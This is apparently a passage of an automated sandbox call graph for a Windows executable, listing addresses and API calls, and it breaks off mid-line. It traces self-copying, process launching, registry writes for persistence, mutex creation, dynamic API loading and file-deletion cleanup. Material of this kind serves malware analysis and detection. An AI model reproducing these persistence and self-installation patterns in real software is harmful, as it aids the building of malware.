12710 42371e GetLengthSid AddAce 12709->12710 12710->12687 12711 423799 IsValidSecurityDescriptor 12710->12711 12711->12687 12712 4237bc 12711->12712 12713 424873 _fast_error_exit 36 API calls 12712->12713 12714 4237d7 12713->12714 12714->12663 12715->12667 12717 41eef1 12716->12717 12718 424842 ___free_lc_time 12716->12718 12717->12670 12722 426501 12718->12722 12723 426510 ___free_lc_time 12722->12723 12724 426572 GetModuleFileNameA 12723->12724 12725 426523 12723->12725 12728 42658c _strcat _fast_error_exit _strncpy _strlen 12724->12728 12737 429328 12725->12737 12730 42add1 12728->12730 12731 42ade4 LoadLibraryA 12730->12731 12736 42ae51 12730->12736 12732 42adf9 GetProcAddress 12731->12732 12731->12736 12733 42ae10 GetProcAddress GetProcAddress 12732->12733 12732->12736 12734 42ae33 GetProcAddress 12733->12734 12733->12736 12735 42ae44 GetProcAddress 12734->12735 12734->12736 12735->12736 12736->12725 12740 429254 12737->12740 12739 426648 12741 429260 ___free_lc_time 12740->12741 12750 42758b 12741->12750 12743 429267 12744 429278 GetCurrentProcess TerminateProcess 12743->12744 12745 429288 _fast_error_exit 12743->12745 12744->12745 12757 429303 12745->12757 12748 4292fe ___free_lc_time 12748->12739 12751 4275b1 EnterCriticalSection 12750->12751 12752 42759e 12750->12752 12751->12743 12765 4274eb 12752->12765 12754 4275a4 12754->12751 12786 425d48 12754->12786 12758 4292eb 12757->12758 12759 429308 12757->12759 12758->12748 12761 429190 GetModuleHandleA 12758->12761 12875 4274d6 LeaveCriticalSection 12759->12875 12762 4291b5 ExitProcess 12761->12762 12763 42919f GetProcAddress 12761->12763 12763->12762 12764 4291af 12763->12764 12764->12762 12766 4274f7 ___free_lc_time 12765->12766 12785 42751a __lock ___free_lc_time 12766->12785 12792 4263b4 12766->12792 12769 427522 12772 42758b __lock 36 API calls 12769->12772 12770 427515 12795 429d61 12770->12795 12773 427529 12772->12773 12774 427531 12773->12774 12775 427569 12773->12775 12798 42b4df 12774->12798 12776 4255be ___free_lc_time 36 API calls 12775->12776 12778 427565 12776->12778 12813 427582 12778->12813 12779 42753c 12779->12778 12780 427542 12779->12780 12803 4255be 12780->12803 12783 427548 12784 429d61 __lock 36 API calls 12783->12784 12784->12785 12785->12754 12787 425d51 12786->12787 12788 425d56 12786->12788 12858 42a55a 12787->12858 12864 42a3e3 12788->12864 12816 426388 12792->12816 12830 426f68 GetLastError FlsGetValue 12795->12830 12797 429d66 12797->12785 12799 42b4eb ___free_lc_time 12798->12799 12800 42b4fd GetModuleHandleA 12799->12800 12802 42b521 ___free_lc_time 12799->12802 12801 42b50c GetProcAddress 12800->12801 12800->12802 12801->12802 12802->12779 12804 4255ca ___free_lc_time 12803->12804 12805 425629 ___free_lc_time 12804->12805 12807 42758b __lock 35 API calls 12804->12807 12812 425606 12804->12812 12805->12783 12806 42561b HeapFree 12806->12805 12808 4255e1 ___free_lc_time 12807->12808 12809 4255fb 12808->12809 12847 428533 12808->12847 12853 425611 12809->12853 12812->12805 12812->12806 12857 4274d6 LeaveCriticalSection 12813->12857 12815 427589 12815->12785 12818 4263b1 12816->12818 12819 42638f __getbuf 12816->12819 12818->12769 12818->12770 12819->12818 12820 42630d 12819->12820 12822 426319 ___free_lc_time 12820->12822 12821 42634c 12823 426367 HeapAlloc 12821->12823 12825 426376 ___free_lc_time 12821->12825 12822->12821 12824 42758b __lock 35 API calls 12822->12824 12823->12825 12826 426334 12824->12826 12825->12819 12827 428ce7 __getbuf 5 API calls 12826->12827 12828 42633f 12827->12828 12829 42637f __getbuf LeaveCriticalSection 12828->12829 12829->12821 12831 426f84 12830->12831 12832 426fcd SetLastError 12830->12832 12840 42af1a 12831->12840 12832->12797 12834 426f90 12835 426fc5 12834->12835 12836 426f98 FlsSetValue 12834->12836 12838 425d48 __lock 31 API calls 12835->12838 12836->12835 12837 426fa9 GetCurrentThreadId 12836->12837 12837->12832 12839 426fcc 12838->12839 12839->12832 12846 42af26 __lock __getbuf ___free_lc_time 12840->12846 12841 42af93 HeapAlloc 12841->12846 12842 42758b __lock 35 API calls 12842->12846 12843 42afbf ___free_lc_time 12843->12834 12844 428ce7 __getbuf 5 API calls 12844->12846 12845 42afc4 __lock LeaveCriticalSection 12845->12846 12846->12841 12846->12842 12846->12843 12846->12844 12846->12845 12848 428570 12847->12848 12852 428816 ___free_lc_time 12847->12852 12849 42875c VirtualFree 12848->12849 12848->12852 12850 4287c0 12849->12850 12851 4287cf VirtualFree HeapFree 12850->12851 12850->12852 12851->12852 12852->12809 12856 4274d6 LeaveCriticalSection 12853->12856 12855 425618 12855->12812 12856->12855 12857->12815 12859 42a564 12858->12859 12860 42a591 12859->12860 12861 42a3e3 _fast_error_exit 36 API calls 12859->12861 12860->12788 12862 42a57b 12861->12862 12863 42a3e3 _fast_error_exit 36 API calls 12862->12863 12863->12860 12867 42a409 12864->12867 12865 424873 _fast_error_exit 33 API calls 12868 425d5f 12865->12868 12866 42a516 _strlen 12870 42a52b GetStdHandle WriteFile 12866->12870 12867->12866 12869 42a448 12867->12869 12874 42a511 12867->12874 12868->12751 12871 42a454 GetModuleFileNameA 12869->12871 12869->12874 12870->12874 12872 42a46e _strcat _fast_error_exit _strncpy _strlen 12871->12872 12873 42add1 _fast_error_exit 6 API calls 12872->12873 12873->12874 12874->12865 12875->12758 12877 4256e3 ___free_lc_time 12876->12877 12884 4291c0 12877->12884 12883 425700 ___free_lc_time 12883->12672 12885 42758b __lock 36 API calls 12884->12885 12886 4256e8 12885->12886 12887 42562f 12886->12887 12897 429357 12887->12897 12889 42563b 12893 42567d 12889->12893 12905 428fe3 12889->12905 12891 425668 12892 428fe3 39 API calls 12891->12892 12891->12893 12892->12893 12894 425709 12893->12894 12949 4291c9 12894->12949 12898 429363 ___free_lc_time 12897->12898 12899 4293a6 HeapSize 12898->12899 12901 42758b __lock 36 API calls 12898->12901 12900 4293b9 ___free_lc_time 12899->12900 12900->12889 12902 429373 ___free_lc_time 12901->12902 12923 4293c4 12902->12923 12906 428fef ___free_lc_time 12905->12906 12907 429006 12906->12907 12908 428ff8 12906->12908 12909 429019 12907->12909 12910 42900d 12907->12910 12911 4263b4 __getbuf 36 API calls 12908->12911 12916 429154 __getbuf 12909->12916 12922 429026 __getbuf ___sbh_resize_block ___free_lc_time 12909->12922 12912 4255be ___free_lc_time 36 API calls 12910->12912 12913 429000 ___free_lc_time 12911->12913 12912->12913 12913->12891 12914 429162 HeapReAlloc 12914->12916 12915 42758b __lock 36 API calls 12915->12922 12916->12913 12916->12914 12918 4290b2 HeapAlloc 12918->12922 12919 429108 HeapReAlloc 12919->12922 12921 428533 VirtualFree VirtualFree HeapFree ___free_lc_time 12921->12922 12922->12913 12922->12915 12922->12918 12922->12919 12922->12921 12927 428ce7 12922->12927 12933 42914b 12922->12933 12926 4274d6 LeaveCriticalSection 12923->12926 12925 4293a0 12925->12899 12925->12900 12926->12925 12930 428d19 12927->12930 12928 428d81 12928->12922 12930->12928 12932 428e3c 12930->12932 12936 42884b 12930->12936 12932->12928 12944 428902 12932->12944 12948 4274d6 LeaveCriticalSection 12933->12948 12935 429152 12935->12922 12937 428891 HeapAlloc 12936->12937 12938 42885d HeapReAlloc 12936->12938 12941 4288b8 12937->12941 12942 4288bc VirtualAlloc 12937->12942 12939 428880 12938->12939 12940 42887c 12938->12940 12939->12937 12940->12932 12941->12932 12942->12941 12943 4288d6 HeapFree 12942->12943 12943->12941 12945 428917 VirtualAlloc 12944->12945 12947 42895e 12945->12947 12947->12928 12948->12935 12952 4274d6 LeaveCriticalSection 12949->12952 12951 42570e 12951->12883 12952->12951 12953 425d91 12954 425d9d _fast_error_exit ___free_lc_time 12953->12954 12955 425da9 GetVersionExA 12954->12955 12956 425df1 GetModuleHandleA 12955->12956 12957 425de5 12955->12957 12958 425e0d 12956->12958 12957->12956 12996 42846f HeapCreate 12958->12996 12960 425e5f 12961 425e6b 12960->12961 13144 425d6d 12960->13144 13004 427120 12961->13004 12964 425e71 12965 425e7c 12964->12965 12966 425d6d _fast_error_exit 36 API calls 12964->12966 13022 42ab4b 12965->13022 12966->12965 12969 425e96 GetCommandLineA 13039 42aa29 12969->13039 12971 425d48 __lock 36 API calls 12973 425e95 12971->12973 12973->12969 12975 425eb0 12976 425ebb 12975->12976 12977 425d48 __lock 36 API calls 12975->12977 13069 42a754 12976->13069 12977->12976 12980 425ecc 13081 4291ea 12980->13081 12981 425d48 __lock 36 API calls 12981->12980 12984 425ee3 GetStartupInfoA 13085 42a6f7 12984->13085 12985 425d48 __lock 36 API calls 12987 425ee2 12985->12987 12987->12984 12988 425ef5 GetModuleHandleA 13089 415060 12988->13089 12991 425f15 12992 425f25 12991->12992 13141 429317 12991->13141 13152 429339 12992->13152 12995 425f2a ___free_lc_time 12997 4284b9 12996->12997 12998 42848f 12996->12998 12997->12960 12999 42849e 12998->12999 13000 4284bc 12998->13000 13155 4284c0 HeapAlloc 12999->13155 13000->12960 13003 4284ad HeapDestroy 13003->12997 13157 427438 13004->13157 13007 427131 GetModuleHandleA 13010 427144 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 13007->13010 13011 4271af FlsAlloc 13007->13011 13008 427129 13161 426f4b 13008->13161 13010->13011 13015 427187 13010->13015 13012 4271c4 13011->13012 13013 427205 13011->13013 13016 42af1a __lock 36 API calls 13012->13016 13017 426f4b 39 API calls 13013->13017 13015->13011 13018 4271d2 13016->13018 13019 42720a 13017->13019 13018->13013 13020 4271da FlsSetValue 13018->13020 13019->12964 13020->13013 13021 4271eb GetCurrentThreadId 13020->13021 13021->13019 13023 4263b4 __getbuf 36 API calls 13022->13023 13025 42ab5a 13023->13025 13024 42aba0 GetStartupInfoA 13032 42aca3 13024->13032 13035 42abba 13024->13035 13025->13024 13029 425e8a 13025->13029 13026 42ad33 SetHandleCount 13026->13029 13027 42acd2 GetStdHandle 13030 42ace0 GetFileType 13027->13030 13027->13032 13028 4263b4 __getbuf 36 API calls 13028->13035 13029->12969 13029->12971 13030->13032 13031 42ac2b 13031->13032 13033 42ac51 GetFileType 13031->13033 13034 42ac5c 13031->13034 13032->13026 13032->13027 13038 42acf7 13032->13038 13033->13031 13033->13034 13034->13029 13034->13031 13036 42b4df __lock 2 API calls 13034->13036 13035->13028 13035->13031 13035->13032 13036->13034 13037 42b4df __lock 2 API calls 13037->13038 13038->13029 13038->13032 13038->13037 13040 42aa64 13039->13040 13041 42aa45 GetEnvironmentStringsW 13039->13041 13043 42aa4d 13040->13043 13044 42aaf4 13040->13044 13042 42aa59 GetLastError 13041->13042 13041->13043 13042->13040 13046 42aa83 WideCharToMultiByte 13043->13046 13047 42aa7b GetEnvironmentStringsW 13043->13047 13045 42ab00 GetEnvironmentStrings 13044->13045 13048 425ea6 13044->13048 13045->13048 13054 42ab0c 13045->13054 13050 42aab7 13046->13050 13051 42aae9 FreeEnvironmentStringsW 13046->13051 13047->13046 13047->13048 13062 42a987 13048->13062 13053 4263b4 __getbuf 36 API calls 13050->13053 13051->13048 13052 4263b4 __getbuf 36 API calls 13061 42ab25 13052->13061 13055 42aabd 13053->13055 13054->13052 13055->13051 13056 42aac6 WideCharToMultiByte 13055->13056 13058 42aad7 13056->13058 13059 42aae0 13056->13059 13057 42ab3b FreeEnvironmentStringsA 13057->13048 13060 4255be ___free_lc_time 36 API calls 13058->13060 13059->13051 13060->13059 13061->13057 13063 42a999 13062->13063 13064 42a99e GetModuleFileNameA 13062->13064 13169 42b499 13063->13169 13066 42a9c6 13064->13066 13067 4263b4 __getbuf 36 API calls 13066->13067 13068 42a9f1 13067->13068 13068->12975 13070 42a761 13069->13070 13073 42a766 _strlen 13069->13073 13071 42b499 ___initmbctable 65 API calls 13070->13071 13071->13073 13072 4263b4 __getbuf 36 API calls 13079 42a797 _strcat _strlen 13072->13079 13073->13072 13076 425ec1 13073->13076 13074 42a7e0 13075 4255be ___free_lc_time 36 API calls 13074->13075 13075->13076 13076->12980 13076->12981 13077 4263b4 __getbuf 36 API calls 13077->13079 13078 42a805 13080 4255be ___free_lc_time 36 API calls 13078->13080 13079->13074 13079->13076 13079->13077 13079->13078 13080->13076 13082 4291f3 13081->13082 13083 42570f 40 API calls 13082->13083 13084 425ed4 13082->13084 13083->13084 13084->12984 13084->12985 13086 42a703 13085->13086 13088 42a708 __wincmdln 13085->13088 13087 42b499 ___initmbctable 65 API calls 13086->13087 13087->13088 13088->12988 13337 413af0 13089->13337 13091 415091 13092 415586 13091->13092 13093 41509c GetModuleFileNameA 13091->13093 13094 424873 _fast_error_exit 36 API calls 13092->13094 13096 4150bc 13093->13096 13095 415594 13094->13095 13095->12991 13097 4150d4 13096->13097 13098 41514f ExpandEnvironmentStringsA CopyFileA 13096->13098 13347 4129c0 13097->13347 13102 4152c5 lstrcpyA lstrcatA CreateProcessA 13098->13102 13103 415356 13098->13103 13101 4150d9 13101->13092 13104 4150e1 13101->13104 13102->13103 13105 415342 CloseHandle CloseHandle 13102->13105 13340 4122f0 GetModuleFileNameA CreateFileA 13103->13340 13356 41c660 13104->13356 13105->13103 13108 41535b 13110 415379 Sleep 13108->13110 13111 41535e 13108->13111 13109 4150e6 13112 415103 13109->13112 13113 4150ea 13109->13113 13121 415510 13110->13121 13571 412620 GetCurrentDirectoryA GetTempFileNameA 13111->13571 13425 413ad0 13112->13425 13115 424873 _fast_error_exit 36 API calls 13113->13115 13120 4150fb 13115->13120 13118 415108 13431 412fc0 13118->13431 13120->12991 13121->13121 13124 41556c MessageBoxA 13121->13124 13123 424873 _fast_error_exit 36 API calls 13126 415371 13123->13126 13124->13092 13126->12991 13128 415112 13453 413dd0 13128->13453 13142 429254 _fast_error_exit 36 API calls 13141->13142 13143 429324 13142->13143 13143->12992 13145 425d76 13144->13145 13146 425d7b 13144->13146 13147 42a55a _fast_error_exit 36 API calls 13145->13147 13148 42a3e3 _fast_error_exit 36 API calls 13146->13148 13147->13146 13149 425d84 13148->13149 13150 429190 _fast_error_exit 3 API calls 13149->13150 13151 425d8e 13150->13151 13151->12961 13153 429254 _fast_error_exit 36 API calls 13152->13153 13154 429344 13153->13154 13154->12995 13156 4284a8 13155->13156 13156->13000 13156->13003 13158 427441 13157->13158 13159 42b4df __lock 2 API calls 13158->13159 13160 427125 13158->13160 13159->13158 13160->13007 13160->13008 13162 426f55 FlsFree 13161->13162 13166 426f63 13161->13166 13162->13166 13163 42749b DeleteCriticalSection 13165 4255be ___free_lc_time 36 API calls 13163->13165 13164 4274b3 13167 4274c5 DeleteCriticalSection 13164->13167 13168 42712e 13164->13168 13165->13166 13166->13163 13166->13164 13167->13164 13168->12964 13170 42b4a2 13169->13170 13172 42b4a9 13169->13172 13173 42b349 13170->13173 13172->13064 13174 42b355 ___free_lc_time 13173->13174 13175 42758b __lock 36 API calls 13174->13175 13176 42b360 13175->13176 13177 42b386 13176->13177 13178 42b374 GetOEMCP 13176->13178 13179 42b39d 13177->13179 13180 42b38b GetACP 13177->13180 13178->13179 13182 4263b4 __getbuf 36 API calls 13179->13182 13183 42b3db 13179->13183 13187 42b478 13179->13187 13180->13179 13182->13183 13188 42b3ed 13183->13188 13189 42b1b9 13183->13189 13184 42b487 ___free_lc_time 13184->13172 13186 4255be ___free_lc_time 36 API calls 13186->13187 13197 42b490 13187->13197 13188->13186 13188->13187 13190 42b1d7 13189->13190 13196 42b202 ___initmbctable 13189->13196 13191 42b1ee GetCPInfo 13190->13191 13190->13196 13191->13196 13193 42b335 13194 424873 _fast_error_exit 36 API calls 13193->13194 13195 42b347 13194->13195 13195->13188 13196->13193 13200 42b02d GetCPInfo 13196->13200 13336 4274d6 LeaveCriticalSection 13197->13336 13199 42b497 13199->13184 13201 42b11f 13200->13201 13202 42b05d 13200->13202 13205 424873 _fast_error_exit 36 API calls 13201->13205 13210 42b56a 13202->13210 13204 42b0d3 13233 42a027 13204->13233 13207 42b1b7 13205->13207 13207->13193 13208 42b0f7 13209 42a027 ___initmbctable 61 API calls 13208->13209 13209->13201 13211 42b576 ___free_lc_time 13210->13211 13212 42b580 GetStringTypeW 13211->13212 13215 42b598 13211->13215 13213 42b5a0 GetLastError 13212->13213 13212->13215 13213->13215 13214 42b6ad 13277 42c8b2 GetLocaleInfoA 13214->13277 13215->13214 13216 42b5cb 13215->13216 13218 42b5e7 MultiByteToWideChar 13216->13218 13220 42b6a7 ___free_lc_time 13216->13220 13218->13220 13227 42b615 __lock _fast_error_exit 13218->13227 13220->13204 13221 42b6f9 GetStringTypeA 13221->13220 13223 42b712 13221->13223 13224 4255be ___free_lc_time 36 API calls 13223->13224 13224->13220 13225 42b6ed 13225->13220 13225->13221 13226 42b673 MultiByteToWideChar 13229 42b68a GetStringTypeW 13226->13229 13230 42b69b 13226->13230 13227->13226 13228 42af1a __lock 36 API calls 13227->13228 13231 42b664 13228->13231 13229->13230 13230->13220 13232 4255be ___free_lc_time 36 API calls 13230->13232 13231->13220 13231->13226 13232->13220 13234 42a033 ___free_lc_time 13233->13234 13235 42a03d LCMapStringW 13234->13235 13238 42a058 13234->13238 13236 42a060 GetLastError 13235->13236 13235->13238 13236->13238 13237 42a27f 13240 42c8b2 ___initmbctable 50 API calls 13237->13240 13238->13237 13239 42a0ab 13238->13239 13241 42a0cc MultiByteToWideChar 13239->13241 13243 42a277 ___free_lc_time 13239->13243 13242 42a2a9 13240->13242 13241->13243 13246 42a0fa _fast_error_exit 13241->13246 13242->13243 13244 42a2c2 13242->13244 13245 42a3b0 LCMapStringA 13242->13245 13243->13208 13248 42c8f5 ___initmbctable 43 API calls 13244->13248 13247 42a3ad 13245->13247 13249 42a159 MultiByteToWideChar 13246->13249 13251 4263b4 __getbuf 36 API calls 13246->13251 13247->13243 13254 4255be ___free_lc_time 36 API calls 13247->13254 13250 42a2d4 13248->13250 13252 42a176 LCMapStringW 13249->13252 13253 42a25c 13249->13253 13250->13243 13255 42a2de LCMapStringA 13250->13255 13256 42a146 13251->13256 13252->13253 13257 42a195 13252->13257 13258 42a269 13253->13258 13261 4255be ___free_lc_time 36 API calls 13253->13261 13254->13243 13259 42a378 13255->13259 13269 42a2fd __lock _fast_error_exit 13255->13269 13256->13243 13256->13249 13260 42a19b 13257->13260 13265 42a1c8 _fast_error_exit 13257->13265 13258->13243 13262 4255be ___free_lc_time 36 API calls 13258->13262 13259->13247 13263 4255be ___free_lc_time 36 API calls 13259->13263 13260->13253 13264 42a1ad LCMapStringW 13260->13264 13261->13258 13262->13243 13263->13247 13264->13253 13266 42a223 LCMapStringW 13265->13266 13267 4263b4 __getbuf 36 API calls 13265->13267 13266->13253 13270 42a23b WideCharToMultiByte 13266->13270 13271 42a214 13267->13271 13268 42a35b LCMapStringA 13268->13259 13273 42a37c 13268->13273 13269->13268 13272 4263b4 __getbuf 36 API calls 13269->13272 13270->13253 13271->13253 13271->13266 13276 42a340 __lock 13272->13276 13275 42c8f5 ___initmbctable 43 API calls 13273->13275 13275->13259 13276->13259 13276->13268 13278 42c8e1 13277->13278 13279 42c8dc 13277->13279 13309 4259c0 13278->13309 13281 424873 _fast_error_exit 36 API calls 13279->13281 13282 42b6cd 13281->13282 13282->13220 13282->13221 13283 42c8f5 13282->13283 13284 42c901 ___free_lc_time 13283->13284 13285 42c928 GetCPInfo 13284->13285 13301 42ca38 13284->13301 13286 42c939 13285->13286 13292 42c94c _strlen 13285->13292 13287 42c93f GetCPInfo 13286->13287 13286->13292 13287->13292 13288 4255be ___free_lc_time 36 API calls 13289 42c9f2 13288->13289 13291 424873 _fast_error_exit 36 API calls 13289->13291 13290 42c980 MultiByteToWideChar 13290->13289 13294 42c99a __lock _fast_error_exit 13290->13294 13293 42cab8 ___free_lc_time 13291->13293 13292->13290 13292->13294 13293->13225 13295 42ca00 MultiByteToWideChar 13294->13295 13297 42af1a __lock 36 API calls 13294->13297 13296 42ca1b 13295->13296 13295->13301 13298 42ca40 13296->13298 13299 42ca20 WideCharToMultiByte 13296->13299 13300 42c9ea 13297->13300 13302 42ca45 WideCharToMultiByte 13298->13302 13303 42ca5b 13298->13303 13299->13301 13300->13289 13300->13295 13301->13288 13301->13289 13302->13301 13302->13303 13304 42af1a __lock 36 API calls 13303->13304 13305 42ca63 13304->13305 13305->13301 13306 42ca6c WideCharToMultiByte 13305->13306 13306->13301 13307 42ca80 13306->13307 13308 4255be ___free_lc_time 36 API calls 13307->13308 13308->13301 13310 426f68 __lock 36 API calls 13309->13310 13311 4259c7 13310->13311 13314 4259d7 13311->13314 13316 427a79 13311->13316 13315 425a05 13314->13315 13324 427871 13314->13324 13315->13279 13317 427a85 ___free_lc_time 13316->13317 13318 42758b __lock 36 API calls 13317->13318 13319 427a8c 13318->13319 13328 4279b8 13319->13328 13323 427aa2 ___free_lc_time 13323->13314 13325 42788f 13324->13325 13327 427886 13324->13327 13326 42b56a ___initmbctable 50 API calls 13325->13326 13326->13327 13327->13314 13329 426f68 __lock 36 API calls 13328->13329 13331 4279be 13329->13331 13330 427a73 13333 427aab 13330->13333 13331->13330 13332 4278e8 ___initmbctable 36 API calls 13331->13332 13332->13330 13334 4274d6 ctype LeaveCriticalSection 13333->13334 13335 427ab2 13334->13335 13335->13323 13336->13199 13581 421d50 13337->13581 13339 413b08 13339->13091 13341 412336 13340->13341 13342 41234c SetFilePointer ReadFile CloseHandle 13340->13342 13343 424873 _fast_error_exit 36 API calls 13341->13343 13344 424873 _fast_error_exit 36 API calls 13342->13344 13345 412345 13343->13345 13346 412399 13344->13346 13345->13108 13346->13108 13348 412a92 13347->13348 13348->13348 13349 412aa6 ExpandEnvironmentStringsA CreateFileA 13348->13349 13350 412af3 ReadFile CloseHandle 13349->13350 13351 412add 13349->13351 13352 424873 _fast_error_exit 36 API calls 13350->13352 13353 424873 _fast_error_exit 36 API calls 13351->13353 13355 412b21 13352->13355 13354 412aec 13353->13354 13354->13101 13355->13101 13357 41c710 13356->13357 13357->13357 13358 41c72a LoadLibraryA 13357->13358 13359 41c740 13358->13359 13360 41c756 13358->13360 13361 424873 _fast_error_exit 36 API calls 13359->13361 13363 41c7f9 GetProcAddress 13360->13363 13362 41c74f 13361->13362 13362->13109 13364 41c828 GetProcAddress 13363->13364 13365 41c80f 13363->13365 13364->13365 13366 41c86c GetProcAddress 13364->13366 13367 424873 _fast_error_exit 36 API calls 13365->13367 13366->13365 13368 41c8d4 13366->13368 13369 41c821 13367->13369 13370 41c99f GetProcAddress 13368->13370 13369->13109 13370->13365 13371 41c9b3 13370->13371 13372 41ca22 GetProcAddress 13371->13372 13372->13365 13373 41ca36 GetProcAddress 13372->13373 13373->13365 13374 41ca8e GetProcAddress 13373->13374 13374->13365 13375 41cace GetProcAddress 13374->13375 13375->13365 13377 41cbc1 GetProcAddress 13375->13377 13377->13365 13378 41cc21 GetProcAddress 13377->13378 13378->13365 13380 41cce4 GetProcAddress 13378->13380 13380->13365 13382 41cd7c GetProcAddress 13380->13382 13382->13365 13384 41ce75 13382->13384 13385 41cf19 GetProcAddress 13384->13385 13385->13365 13386 41cf2d GetProcAddress 13385->13386 13386->13365 13388 41cfb0 13386->13388 13389 41d030 GetProcAddress 13388->13389 13389->13365 13390 41d044 GetProcAddress 13389->13390 13390->13365 13392 41d1bc 13390->13392 13393 41d285 GetProcAddress 13392->13393 13393->13365 13394 41d299 GetProcAddress 13393->13394 13394->13365 13395 41d2f1 GetProcAddress 13394->13395 13395->13365 13396 41d349 GetProcAddress 13395->13396 13396->13365 13398 41d4b2 13396->13398 13399 41d53b LoadLibraryA 13398->13399 13400 41ddc9 13399->13400 13401 41d54d GetProcAddress 13399->13401 13402 424873 _fast_error_exit 36 API calls 13400->13402 13401->13365 13405 41d646 GetProcAddress 13401->13405 13403 41ddd9 13402->13403 13403->13109 13405->13365 13407 41d6b0 GetProcAddress 13405->13407 13407->13365 13409 41d727 GetProcAddress 13407->13409 13409->13365 13411 41d819 13409->13411 13412 41d962 GetProcAddress 13411->13412 13412->13365 13413 41d976 LoadLibraryA 13412->13413 13413->13400 13415 41da0d GetProcAddress 13413->13415 13415->13365 13417 41da96 13415->13417 13418 41db5b GetProcAddress 13417->13418 13418->13365 13419 41db6f 13418->13419 13420 41dc13 LoadLibraryA 13419->13420 13420->13365 13421 41dc23 13420->13421 13422 41dcd9 GetProcAddress 13421->13422 13422->13365 13423 41dced 13422->13423 13424 41ddb4 GetProcAddress 13423->13424 13424->13400 13807 421ec0 13425->13807 13428 421d50 153 API calls 13429 413adf SetEvent SetEvent SetEvent SetEvent SetEvent 13428->13429 13429->13118 13851 412c90 13431->13851 13433 412fd7 13434 413260 13433->13434 13436 4131d4 GetModuleFileNameA lstrcatA RegOpenKeyExA 13433->13436 13435 424873 _fast_error_exit 36 API calls 13434->13435 13437 41326c 13435->13437 13436->13434 13438 413215 lstrlenA RegSetValueExA RegCloseKey 13436->13438 13439 4120c0 13437->13439 13438->13434 13440 412193 13439->13440 13440->13440 13441 4121a7 ExpandEnvironmentStringsA GetFileAttributesA 13440->13441 13442 41223b LoadLibraryA 13441->13442 13443 41220a 13441->13443 13445 412293 GetProcAddress 13442->13445 13446 412272 13442->13446 13863 41e0b0 13443->13863 13449 4122d8 13445->13449 13448 424873 _fast_error_exit 36 API calls 13446->13448 13447 412230 13447->13442 13447->13449 13450 41228c 13448->13450 13451 424873 _fast_error_exit 36 API calls 13449->13451 13450->13128 13452 4122e6 13451->13452 13452->13128 13878 41aa30 13453->13878 13455 413e01 13885 416660 CreateMutexA 13455->13885 13457 413e18 13886 4046e0 13457->13886 13459 413e29 13889 40b540 13459->13889 13463 413e4f 13464 413e68 13463->13464 13465 413e5d Sleep 13463->13465 13466 413e7f 13464->13466 13467 413ece 13464->13467 13465->13464 13923 408ad0 13466->13923 13469 413ef6 13467->13469 13470 413edc CreateThread 13467->13470 13940 401830 13469->13940 13472 413efb 13470->13472 15236 401960 13470->15236 13471 413e93 13929 404590 CloseHandle 13471->13929 13945 413b70 13472->13945 13476 413ea4 13932 416690 CloseHandle 13476->13932 13479 4122f0 41 API calls 13480 413f13 13479->13480 13957 416760 13480->13957 13481 413eb5 13933 41a8f0 CloseHandle 13481->13933 13484 413f3a 13960 40b300 13484->13960 13485 424873 _fast_error_exit 36 API calls 13486 415051 13485->13486 13524 412b30 13486->13524 13489 40b300 78 API calls 13490 4142c7 13489->13490 13491 40b300 78 API calls 13490->13491 13492 4144f5 13491->13492 13493 40b300 78 API calls 13492->13493 13494 414691 13493->13494 13495 40b300 78 API calls 13494->13495 13496 414875 13495->13496 13497 40b300 78 API calls 13496->13497 13498 414974 13497->13498 13499 40b300 78 API calls 13498->13499 13500 414b1e 13499->13500 13501 40b300 78 API calls 13500->13501 13502 414c6a 13501->13502 13503 40b300 78 API calls 13502->13503 13504 414e20 CreateEventA CreateThread 13503->13504 13505 414f72 13504->13505 13506 414e88 13504->13506 15192 401260 13504->15192 13507 414f83 WaitForSingleObject CloseHandle 13505->13507 13508 414fa8 WaitForSingleObject CloseHandle 13505->13508 13995 4123a0 GetModuleFileNameA 13506->13995 13507->13508 14029 416790 13508->14029 13523 413ec9 13523->13485 13525 412c02 13524->13525 13525->13525 13526 412c16 ExpandEnvironmentStringsA GetLocalTime CreateFileA WriteFile CloseHandle 13525->13526 13527 424873 _fast_error_exit 36 API calls 13526->13527 13528 412c7c 13527->13528 13529 413280 13528->13529 13530 413400 13529->13530 13530->13530 13531 41340e RegOpenKeyA 13530->13531 13532 413462 GetModuleFileNameA MoveFileExA 13531->13532 13533 41342a RegDeleteValueA RegCloseKey 13531->13533 13534 413550 13532->13534 13533->13532 13534->13534 13535 413564 ExpandEnvironmentStringsA DeleteFileA 13534->13535 13536 413690 13535->13536 13536->13536 13537 4136aa ExpandEnvironmentStringsA DeleteFileA 13536->13537 13538 4137c2 13537->13538 13538->13538 13539 4137dc ExpandEnvironmentStringsA DeleteFileA 13538->13539 13540 413801 MoveFileExA 13539->13540 13541 41380e ExpandEnvironmentStringsA DeleteFileA 13539->13541 13540->13541 13543 4139a0 13541->13543 13543->13543 13544 4139b4 ExpandEnvironmentStringsA DeleteFileA 13543->13544 13545 413a80 13544->13545 13545->13545 13546 413a94 ExpandEnvironmentStringsA DeleteFileA 13545->13546 13547 424873 _fast_error_exit 36 API calls 13546->13547 13548 413ac1 13547->13548 13549 41ef50 ResetEvent 13548->13549 13550 41ef6d 13549->13550 13551 41ef6f ResetEvent ResetEvent ResetEvent ResetEvent 13549->13551 13550->13551 16060 40c1d0 GetTickCount GetTickCount GetTickCount GetTickCount 13571->16060 13573 41266b GetProcessHeap HeapAlloc 13574 4126f5 6 API calls 13573->13574 13577 412690 13573->13577 13579 424873 _fast_error_exit 36 API calls 13574->13579 13575 4126af CreateFileA WriteFile CloseHandle GetProcessHeap HeapFree 13575->13574 13577->13575 16061 40c1d0 GetTickCount GetTickCount GetTickCount GetTickCount 13577->16061 13580 4129ad 13579->13580 13580->13123 13582 421d64 13581->13582 13583 421d5d 13581->13583 13713 41f8e0 13582->13713 13583->13339 13585 421d6c 13602 41fd50 13585->13602 13591 421d87 13639 4210d0 13591->13639 13599 421dab 13759 41f250 13599->13759 13603 420050 13602->13603 13604 4201a0 GetProcessHeap HeapAlloc RegOpenKeyExA 13603->13604 13605 420256 RegQueryValueExA 13604->13605 13606 420248 GetLastError 13604->13606 13607 420290 GetLastError 13605->13607 13608 42029e 13605->13608 13606->13605 13625 42036a 13607->13625 13770 425a4d 13608->13770 13612 4202f1 13616 425a4d 36 API calls 13612->13616 13613 4203b4 13783 41f100 CreateEventA 13613->13783 13614 4259c0 ___initmbctable 50 API calls 13614->13612 13617 42031e 13616->13617 13621 4259c0 ___initmbctable 50 API calls 13617->13621 13623 42032b 13617->13623 13618 4203c4 GetProcessHeap HeapFree RegCloseKey 13619 424873 _fast_error_exit 36 API calls 